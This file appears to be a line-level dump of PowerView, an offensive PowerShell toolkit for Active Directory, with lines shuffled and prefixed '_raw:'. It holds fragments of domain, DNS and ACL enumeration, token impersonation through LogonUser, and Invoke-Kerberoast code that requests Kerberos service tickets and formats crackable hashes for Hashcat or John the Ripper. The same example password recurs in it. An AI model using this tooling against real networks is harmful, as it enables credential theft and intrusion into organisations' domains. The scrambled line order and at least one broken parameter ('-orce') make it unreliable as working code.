_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: The forest name to query for, defaults to the current forest.


_raw: forest or the forest specified with -Forest X.


_raw: Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current


_raw: Returns the forest object for the current (or specified) forest.


_raw: # UAC specification for domain controllers


_raw: if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }


_raw: if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {


_raw: if ($PSBoundParameters['SSL']) { $Arguments['SSL'] = $SSL }


_raw: if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: Determine the domain controllers for 'test.local'.


_raw: Determine the domain controllers for 'test.local' using LDAP queries.


_raw: Get-DomainController -Domain 'test.local' -LDAP


_raw: Switch. Use SSL for the connection to the LDAP server.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The domain to query for domain controllers, defaults to the current domain.


_raw: By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer


_raw: Enumerates the domain controllers for the current or specified domain.


_raw: Required Dependencies: Get-DomainComputer, Get-Domain


_raw: Return the domain controllers for the current (or specified) domain.


_raw: Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"


_raw: Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"


_raw: $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)


_raw: Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"


_raw: $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"


_raw: # if no domain is supplied, extract the logon domain from the PSCredential passed


_raw: Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the domain name to query for, defaults to the current domain.


_raw: domain or the domain specified with -Domain X.


_raw: Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current


_raw: Returns the domain object for the current (or specified) domain.


_raw: Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"


_raw: Write-Warning "[Get-DomainDNSRecord] Error: $_"


_raw: $Out | Add-Member NoteProperty $_.Name $_.Value


_raw: $Record.PSObject.Properties | ForEach-Object {


_raw: $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord


_raw: $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]


_raw: # TODO: handle multiple nested records properly?


_raw: if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {


_raw: # convert the record and extract the properties


_raw: $Out | Add-Member NoteProperty 'ZoneName' $ZoneName


_raw: $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $DNSSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }


_raw: $DNSSearcher = Get-DomainSearcher @SearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Position = 0,  Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs custom PSObjects with detailed information about the DNS record entry.


_raw: Retrieve all records for all zones in the dev.testlab.local domain.


_raw: Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local


_raw: Retrieve all records for all zones in the current domain.


_raw: Retrieve all records for the testlab.local zone.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an Active Directory server (domain controller) to bind to for the search.


_raw: The domain to query for zones, defaults to the current domain.


_raw: Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).


_raw: and use Convert-DNSRecord to try to convert the binary DNS record blobs.


_raw: LDAP entries using that zone as the search base. Return all DNS entry results


_raw: Given a specific Active Directory DNS zone name, query for all 'dnsNode'


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord


_raw: Enumerates the Active Directory DNS records for a given zone.


_raw: Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"


_raw: Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"


_raw: $Out | Add-Member NoteProperty 'ZoneName' $Out.name


_raw: $Out = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $DNSSearcher2.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }


_raw: $DNSSearcher2 = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"


_raw: else { $Results = $DNSSearcher1.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne()  }


_raw: $DNSSearcher1 = Get-DomainSearcher @SearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True)]


_raw: Outputs custom PSObjects with detailed information about the DNS zone.


_raw: Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.


_raw: Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local


_raw: Retrieves the DNS zones for the current domain.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an Active Directory server (domain controller) to bind to for the search.


_raw: The domain to query for zones, defaults to the current domain.


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Enumerates the Active Directory DNS zones for a given domain.


_raw: $DNSRecordObject | Add-Member Noteproperty 'Data' $Data


_raw: $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp


_raw: $DNSRecordObject | Add-Member Noteproperty 'Age' $Age


_raw: $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL


_raw: $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'


_raw: # TODO: how to implement properly? nested object?


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'


_raw: $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'


_raw: $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'


_raw: $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]


_raw: $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'


_raw: $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()


_raw: $Age = [BitConverter]::ToUInt32($DNSRecord, 20)


_raw: $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)


_raw: $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)


_raw: $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)


_raw: # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)


_raw: [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs custom PSObjects with detailed information about the DNS record entry.


_raw: A byte array representing the DNS record.


_raw: Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1


_raw: Decodes a binary blob representing an Active Directory DNS entry.


_raw: Author: Michael B. Smith, Will Schroeder (@harmj0y)


_raw: Helpers that decodes a binary DNS record blob.


_raw: $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }


_raw: # handle an array of properties to load w/ the possibility of comma-separated strings


_raw: 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }


_raw: 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }


_raw: 'None' { [System.DirectoryServices.SecurityMasks]::None }


_raw: 'Group' { [System.DirectoryServices.SecurityMasks]::Group }


_raw: 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }


_raw: $Searcher.SecurityMasks = Switch ($SecurityMasks) {


_raw: $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)


_raw: # bind to the inital object using the current credentials


_raw: $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)


_raw: $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)


_raw: # bind to the inital search object using alternate credentials


_raw: Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"


_raw: if ($Credential -ne [Management.Automation.PSCredential]::Empty) {


_raw: Write-Verbose "[Get-DomainSearcher] search base: $SearchString"


_raw: $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"


_raw: if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {


_raw: # transform the target domain name into a distinguishedName if an ADS search base is not specified


_raw: if ($SearchBase -match "LDAP://.+/.+") {


_raw: # if we're searching the global catalog, get the path in the right format


_raw: $SearchString += $SearchBasePrefix + ','


_raw: if ($BindServer -and ($BindServer.Trim() -ne '')) {


_raw: $Searcher.SessionOptions.VerifyServerCertificate = { $true }


_raw: $Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($BindServer):636"


_raw: Write-Verbose "[Get-DomainSearcher] Connecting to $($BindServer):636"


_raw: # if there's not a specified server to bind to, try to pull a logon server from ENV variables


_raw: # otherwise, resort to Get-Domain to retrieve the current domain object


_raw: $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"


_raw: if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {


_raw: # see if we can grab the user DNS logon domain from environment variables


_raw: elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {


_raw: $DomainObject = Get-Domain -Credential $Credential


_raw: # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain


_raw: $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"


_raw: if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {


_raw: if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).


_raw: Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.


_raw: Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'


_raw: Return a searcher for all objects in testlab.local.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to for the search.


_raw: Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: heavily by other LDAP/ADSI searcher functions (Verb-Domain*).


_raw: System.DirectoryServices.DirectorySearcher object. This function is used


_raw: Takes a given domain and a number of customizations and returns a


_raw: Helper used by various functions that builds a custom AD searcher object.


_raw: Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"


_raw: New-Object -TypeName PSObject -Property $ObjectProperties


_raw: Write-Verbose "[Convert-LDAPProperty] error: $_"


_raw: $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)


_raw: [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)


_raw: [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)


_raw: elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {


_raw: $ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0]


_raw: $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))


_raw: if ($Properties[$_][0] -is [System.MarshalByRefObject]) {


_raw: elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime')  -or ($_ -eq 'ms-mcs-admpwdexpirationtime')) {


_raw: if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {


_raw: if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {


_raw: $OwnerObject = Get-DomainObject $Descriptor.Owner


_raw: $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0


_raw: # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0


_raw: elseif ($_ -eq 'ntsecuritydescriptor') {


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum


_raw: $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum


_raw: $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum


_raw: $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }


_raw: # convert all listed sids (i.e. if multiple are listed in sidHistory)


_raw: if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory') -or ($_ -eq 'securityidentifier')) {


_raw: $Properties.keys | Sort-Object | ForEach-Object {


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True)]


_raw: A custom PSObject with LDAP hashtable properties translated.


_raw: Properties object to extract out LDAP fields for display.


_raw: into a proper PSObject. Used by several of the Get-Domain* function.


_raw: Converts a set of raw LDAP properties results from ADSI/LDAP searches


_raw: Helper that converts specific LDAP property result fields and outputs


_raw: $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType


_raw: $Out | Add-Member Noteproperty 'IdentitySID' $SID


_raw: $Out | Add-Member Noteproperty 'IdentityReference' $Name


_raw: $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)


_raw: $Out | Add-Member Noteproperty 'Path' $TargetPath


_raw: $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments


_raw: $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {


_raw: Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential


_raw: # map IPC$ to this computer if it's not already


_raw: if (-not $MappedComputers[$HostComputer]) {


_raw: $HostComputer = (New-Object System.Uri($TargetPath)).Host


_raw: if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {


_raw: if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }


_raw: ($Permissions | Where-Object {$_}) -join ','


_raw: $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }


_raw: $Permissions += $SimplePermissions.Keys | ForEach-Object {


_raw: # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights


_raw: [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: A custom object with the full path and associated ACL entries.


_raw: One of more paths to enumerate ACLs for.


_raw: Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Specifies the local or remote path to enumerate the ACLs for.


_raw: Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.


_raw: the access rules for each entry into readable formats. If -Credential is passed,


_raw: Enumerates the ACL for a specified file/folder path, and translates


_raw: Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID


_raw: Enumerates the ACL for a given file path.


_raw: Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat


_raw: if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }


_raw: $LogonToken = Invoke-UserImpersonation -Credential $Credential


_raw: if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }


_raw: [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.


_raw: Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.


_raw: Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce


_raw: Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR


_raw: Invoke-Kerberoast -Domain dev.testlab.local | fl


_raw: Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: The ticket format can be specified with -OutputFormat <John/Hashcat>.


_raw: names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.


_raw: Uses Get-DomainUser to query for user accounts with non-null service principle


_raw: Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket


_raw: Author: Will Schroeder (@harmj0y), @machosec


_raw: Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.


_raw: $Out | Add-Member Noteproperty 'Hash' $HashFormat


_raw: # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...


_raw: $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...


_raw: $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))


_raw: Write-Warning "Unable to parse ticket structure for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"


_raw: $Out | Add-Member Noteproperty 'TicketByteHexStream' $null


_raw: Write-Warning "Error parsing ciphertext for the SPN  $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"


_raw: if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {


_raw: # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object


_raw: $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4


_raw: $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )


_raw: # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object


_raw: # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)


_raw: $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName


_raw: $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName


_raw: $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName


_raw: $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'


_raw: Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"


_raw: $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN


_raw: if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {


_raw: # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3


_raw: $LogonToken = Invoke-UserImpersonation -Credential $Credential


_raw: [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]


_raw: [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]


_raw: [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]


_raw: Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.


_raw: Accepts one or more PowerView.User objects on the pipeline with the User parameter set.


_raw: Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.


_raw: Request kerberos service tickets for all users with non-null SPNs and output in JTR format.


_raw: Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR


_raw: Request kerberos service tickets for all SPNs passed on the pipeline.


_raw: Request a kerberos service ticket for the specified SPN.


_raw: for connection to the remote domain using Invoke-UserImpersonation.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.


_raw: Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.


_raw: Specifies the service principal name to request the ticket for.


_raw: portion of the ticket is then extracted and output in either crackable John or Hashcat


_raw: using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted


_raw: (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN


_raw: This function will either take one/more SPN strings, or one/more PowerView.User objects


_raw: Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf


_raw: Author: machosec, Will Schroeder (@harmj0y)


_raw: Request the kerberos ticket for a specified service principal name (SPN).


_raw: Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"


_raw: throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();


_raw: Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"


_raw: $Token = Invoke-UserImpersonation -Credential $Cred


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.


_raw: CloseHandle() is used to close the opened handle.


_raw: If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),


_raw: This function uses RevertToSelf() to revert any impersonated tokens.


_raw: Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"


_raw: throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: # actually impersonate the token from LogonUser()


_raw: throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"


_raw: $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();


_raw: #   this is to simulate "runas.exe /netonly" functionality


_raw: # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3


_raw: Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"


_raw: Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."


_raw: if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {


_raw: [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]


_raw: [Parameter(Mandatory = $True, ParameterSetName = 'Credential')]


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()


_raw: An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.


_raw: to impersonate in the current thread space.


_raw: A [Management.Automation.PSCredential] object with alternate credentials


_raw: ImpersonateLoggedOnUser() and the token handle is returned for later usage


_raw: to simulate "runas /netonly". The resulting token is then impersonated with


_raw: This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType


_raw: Creates a new "runas /netonly" type logon and impersonates the token.


_raw: Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"


_raw: Write-Verbose "$TargetPath successfully ummounted"


_raw: $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)


_raw: Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"


_raw: ForEach ($TargetComputerName in $ComputerName) {


